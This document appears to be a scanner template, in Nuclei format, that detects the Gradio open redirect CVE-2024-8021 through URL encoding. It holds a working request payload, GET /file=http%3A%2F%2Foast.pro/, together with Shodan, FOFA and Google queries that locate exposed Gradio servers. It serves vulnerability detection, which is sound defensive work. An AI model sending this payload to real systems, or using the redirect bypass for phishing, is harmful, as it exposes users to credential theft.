Gradio - Open Redirect

id: CVE-2024-8021

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application.
  impact: |
    Attackers can craft malicious URLs with encoded redirects that send users to phishing sites or malicious domains, leading to credential theft and undermining trust in the Gradio application.
  remediation: |
    Update Gradio to a version that addresses the open redirect vulnerability via URL encoding bypass.
  reference:
    - https://huntr.com/bounties/adc23067-ec04-47ef-9265-afd452071888
  classification:
    epss-score: 0.00759
    epss-percentile: 0.55566
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_project
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - raw:
      - |
        GET /file=http%3A%2F%2Foast.pro/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

      - type: status
        status:
          - 302